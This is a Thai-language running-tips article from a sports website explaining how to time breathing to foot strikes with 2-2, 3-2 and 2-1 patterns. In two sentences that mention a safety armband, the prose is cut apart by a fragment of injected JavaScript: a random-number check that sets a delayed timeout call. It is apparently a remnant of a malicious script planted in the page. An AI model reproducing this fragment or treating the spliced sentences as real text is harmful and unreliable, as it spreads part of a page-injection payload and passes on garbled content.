• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

Running Pattern เทคนิคสร้างจังหวะการวิ่ง

stepextra by stepextra
18 June 2015
in Feature, Running Tips, Tips & Technics
0
3 ข้อควรรู้ก่อนซื้อรองเท้า
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

Running Pattern เทคนิคสร้างจังหวะการวิ่ง

จังหวะการหายใจที่สัมพันธ์การการลงเท้าจะช่วยให้การวิ่งเราไปได้เร็วขึ้นเเละวิ่งได้นานขึ้น เพราะมีลมเลี้ยงได้อย่างต่อเนื่อง ปอดและกล้ามเนื้อกระบังลมทำงานสัมพันธ์กัน

จำไว้ว่าทุกครั้งที่กดปุ่ม strat บนแอฟวิ่งอย่าง Runtastic, Endomondo หรือ Strava และใส่ Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ไปวิ่ง กรุณาตั้งสติหายใจเข้าเเละออกให้มั่น มันจะช่วยให้คุณวิ่งไปได้ไกลกว่าที่คิดเลยละ

ก่อนจะอธิบายจังหวะการวิ่ง 3-2 แนะนำว่าใครที่ยังไม่ได้อ่านเทคนิคการหายใจด้วยท้อง หรือ Belly breath ให้กลับไปอ่านดูก่อน เพราะการฝึกเทคนิคนี้จะใช้ควบคู่การการหายใจ และถ้าเราสามารถหายใจด้วยการใช้หน้าท้องมากกว่าการใช้ทรวงอกหรือสามารถควบคุมการหายใจทั้งใช้หน้าท้องและทรวงอกไปด้วยกันแล้วจะทำให้ประสิทธิภาพการวิ่งดีมากยิ่งขึ้น

โดยทั่วไปแล้วนักวิ่งส่วนมากมักจะคุ้นชินกับจังหวะการวิ่ง 2-2 ซึ่งอธิบายได้คือ….in, 2, out, 2

1. หายใจเข้าพร้อมกับก้าวเท้าขวา นับ 1 แต่ให้เรียกว่า in จะเข้าใจง่ายกว่า

2. เท้าซ้ายลงพื้นนับ 2

3. เท้าขวาลงนับ 1 หรือ out

4. ซ้ายลงนับ 2

5. ขวาลงอีกครั้งนับ 1 หรือ in

สังเกตได้ว่าการหายใจเข้าออกจะลงที่เท้าขวาทุกครั้ง และการจังหวะแรงกระแทกที่ส่งจากช่วงล่าง จากเท้าที่กระทบพื้น สู่ช่วงลำตัวและสู่กล้ามเนื้อกระบังลม (Diaphragm) ขณะยืดหดตัวก็มาจากเท้าขวา ทุกครั้งครั้งที่หายใจเรารับแรงจากด้านขวาอย่างเดียว แต่การวิ่งจังหวะ 3-2 จะช่วยให้เราสามารถสลับแรงกระแทก ให้กล้ามเนื้อกระบังลมรับแรงจากเท้าซ้ายขวาสลับกัน ช่วยไม่ให้กล้ามเนื้อด้านใดทำงานหนักข้างเดียวกันตลอด

การสร้างจังหวะวิ่งแบบ 3-2 หรือช่วงจังหวะหายใจเข้าจะลงเท้า 3 ครั้ง และหายใจออก 2 ครั้ง จะช่วยป้องกันอาการบาดเจ็บได้ดีขึ้น เพราะช่วงที่เราหายใจอยู่นั้น กล้ามเนื้อจะมีการยืดหด โดยเฉพาะช่วงหายใจเข้า กล้ามเนื้อเราจะหดตัว (contract) สร้างความเสถียร (stability) ให้กล้ามเนื้อ core ได้มากที่สุด แต่เมื่อหายใจออกกล้ามเนื้อจะยืดตัวอยู่ในสภาวะรีเล็กซ์ ลดความเสถียรของกล้ามเนื้อ core ลง ดังนั้นจังหวะ 3-2 จึงออกแบบมาให้ลงขาในช่วงหายใจเข้ามากที่สุด ร่างกายเราเสถียรพร้อมรับแรงกระแทกได้มากกว่าช่วงลงขาขณะหายใจออก

วิธีการวิ่งจังหวะ 3-2 คือ…..in, 2, 3, out, 2

1. จังหวะที่ก้าวเท้าขวาลงหายใจเข้านับ in

2. ขาซ้ายก้าวนับ 2

3. ขาขวาก้าวนับ 3

4. ขาซ้ายก้าวและหายใจออกนับ out

5. ขาขวาก้าวนับ 2

6. ขาซ้ายลงและหายใจนับ in

จะเห็นได้ว่าจังหวะหายใจเข้าจะสลับกันระหว่างซ้ายและขวา ทำให้กระบังลมไม่ต้องรับแรงกระแทกอยู่อยู่ข้างใดข้างหนึ่ง แต่ในการนำไปใช้ช่วงแรกลองฝึกหายใจโดยการเดินวอร์มอัพเบาๆ ก่อน เพื่อปรับตัวให้คุ้นเคยกับการหายใจและจังหวะลงเท้า

เราอาจจะลองนอนลงกับพื้นและชันขาขึ้น กระดกขาขึ้นลงเลียนแบบการเดินวิ่ง อย่าลืมฝึกพร้อมกับการหายใจด้วย โดยวางมือทาบลงบนท้องและหน้าอก

สามารถดูตามคลิปดังนี้……..

เมื่อเราสามารถจับจังหวะและหายใจได้เป็นปกติแล้ว ในเวลาที่ราต้องวิ่งเร็วขึ้น ก็สามารถลดทอนลงเป็นจังหวะ 2-1 คือ…in, 2, out

1. หายใจเข้าและก้าวเท้าขวานับ in

2. ขาซ้ายก้าวนับ 2

3. ขาขวาก้าวและหายใจออกนับ out

4. ก้าวขาซ้ายและหายใจเข้านับ in

หรือเป็น 1-1 เมื่อวิ่งเร็วขึ้นเมื่อเราลดความเร็วลงก็เปลี่ยนมาใช้จังหวะ 3-2 เหมือนเดิม

ในการฝึกเเนะนำไม่ให้ฟังเพลงหรือวิ่งในขณะที่มีคนพลุกพล่าน อย่างตอนเย็นๆ เพราะจะทำให้เราเสียสมาธิ ไปฟังจังหวะการวิ่งการหายใจของคนอื่นเขา ลองวิ่งช่วง 6 โมงเย็นเป็นต้นไปดูครับหรือช่วงเช้ามืดที่คนยังน้อยอยู่ และอย่าลืมนำอุปกรณ์ความปลอดภัยติดตัวไปด้วยอย่างเจ้า Runtastic safety armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and หรือ safety shoes clips ไปด้วยเขาวิ่งผ่านหรือรถยานยนต์จะสังเกตเห็นเราได้ชัด

ที่มาwww.runnersworld.com

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.